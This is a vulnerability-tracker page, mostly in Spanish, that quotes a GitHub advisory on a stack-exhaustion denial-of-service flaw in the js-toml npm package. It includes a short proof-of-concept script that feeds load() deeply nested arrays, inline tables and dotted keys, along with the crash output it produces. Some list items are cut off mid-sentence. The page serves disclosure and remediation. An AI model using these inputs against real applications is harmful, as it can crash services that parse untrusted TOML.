llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · js-toml

GHSA-3G82-77XR-68X5

js-toml allows uncontrolled recursion in `load()` leading `RangeError` (stack exhaustion) on deeply nested input

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -143 d de la divulgación
Exposición1 dDesde la divulgación, 20 nov 2026, 9:40 a. m.
Detección24 minDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (media) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Sin drama: ventana de mantenimiento y listo.Si tu inventario está al día, ya ganaste.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 1.1.3
Monitoreo
Detectada +1
30 jun 26
20 nov 26
21 nov 26
30 jun 26
5 ago 26
10 sept 26
16 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.1.3 js-toml · -143 d desde divulgación
Divulgación Publicada GHSA-3G82-77XR-68X5 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`load()` parses untrusted TOML using a recursive-descent parser (Chevrotain) and a
recursive tree-walking interpreter. Neither the parser nor the interpreter enforces a
maximum nesting / key depth. A small, attacker-controlled document with deep nesting
(arrays, inline tables) or a long dotted key drives recursion past the V8 call-stack
limit, and `load()` throws an uncaught `RangeError: Maximum call stack size exceeded`.

This is a problem for two reasons:

  1. Denial of Service. A tiny payload (≈2 KB) reliably aborts parsing. In any
  2. Error-contract violation. The library signals invalid input via

```js
try { load(input); }
catch (e) {
if (e instanceof SyntaxParseError) return badRequest();
throw e; // unexpected -> propagates
}
```

— will re-throw the `RangeError` instead of treating the input as malformed,
turning malformed input into an unexpected fatal error.

Impact

  • Unauthenticated attacker who can supply a TOML string to an application using
  • If the error is not caught by a generic handler, the Node.js process terminates
  • Even when caught generically, the documented/expected error type contract is broken,

No confidentiality or integrity impact. The error is thrown synchronously and is
catchable, so a consumer that catches *all* exceptions is not crashed — this is why the
severity is assessed Low–Medium rather than High.

Affected code / root cause

There is no depth bound anywhere in the parse pipeline. Recursion occurs in (at least)
two independent places:

  1. Parser (recursive descent). `src/load/parser.ts` — `array` / `inlineTable`
  2. Interpreter (tree walk). `src/load/interpreter.ts` —

Because there is no configurable or hard limit, the recursion depth is bounded only by
the V8 stack, and overflow surfaces as a raw `RangeError`.

Steps to reproduce (PoC)

Environment used: Node.js v20, `js-toml@1.1.2`.

import { load, SyntaxParseError } from 'js-toml';

function probe(label, toml) {
  try {
    load(toml);
    console.log(`[OK]            ${label}`);
  } catch (e) {
    const expected = e instanceof SyntaxParseError;
    console.log(`[${e.constructor.name}${expected ? '' : ' (UNEXPECTED)'}] ${label}: ${String(e.message).split('\n')[0]}`);
  }
}

// 1) Deeply nested arrays  (~2 KB payload)
probe('nested array depth 1000', 'x = ' + '['.repeat(1000) + ']'.repeat(1000));

// 2) Deeply nested inline tables
let v = '1';
for (let i = 0; i < 1000; i++) v = `{ a = ${v} }`;
probe('nested inline table depth 1000', 'x = ' + v);

// 3) Deep dotted key (interpreter recursion)
const key = Array.from({ length: 5000 }, (_, i) => 'a' + i).join('.');
probe('dotted key depth 5000', `${key} = 1`);
Observed output
[RangeError (UNEXPECTED)] nested array depth 1000: Maximum call stack size exceeded
[RangeError (UNEXPECTED)] nested inline table depth 1000: Maximum call stack size exceeded
[RangeError (UNEXPECTED)] dotted key depth 5000: Maximum call stack size exceeded

Each case throws `RangeError`, not `SyntaxParseError`. Overflow occurs in single-digit
milliseconds, so it is not a CPU-exhaustion issue — it is an immediate, deterministic abort.

Notes on thresholds (machine-dependent; exact numbers vary by stack size):
- Nested arrays / inline tables overflow at roughly depth ~1000 (parser recursion).
- Dotted keys overflow at roughly depth ~5000 (interpreter recursion); depth 1000 still succeeds.

Suggested remediation

Enforce an explicit, documented maximum nesting/key depth and surface violations as
`SyntaxParseError` (consistent with all other invalid-input handling). For example:

  • Track current depth in the parser/interpreter and throw `SyntaxParseError`
  • As a defensive backstop, wrap the top-level `load()` body so that a thrown

A configurable limit (with a safe default) is preferable so legitimate deep documents can
opt into a higher bound.

Disclosure

Reported privately via GitHub Security Advisory. Happy to provide additional reproducers
or test against a candidate patch.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
js-toml< 1.1.3
1.1.3
2.0.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmjs-toml
Corregida 1.1.3 -143 d 2.0.1 no afectada
Versiones corregidas1.1.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-63386
Otrahttps://github.com/sunnyadn/js-toml/security/advisories/GHSA-3g82-77xr-68x5
Otrahttps://github.com/sunnyadn/js-toml/commit/4e10acf1f99ff3cb443c58b8f0a57664e41e87c6
Otrahttps://github.com/sunnyadn/js-toml
Otrahttps://github.com/sunnyadn/js-toml/releases/tag/v1.1.3

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.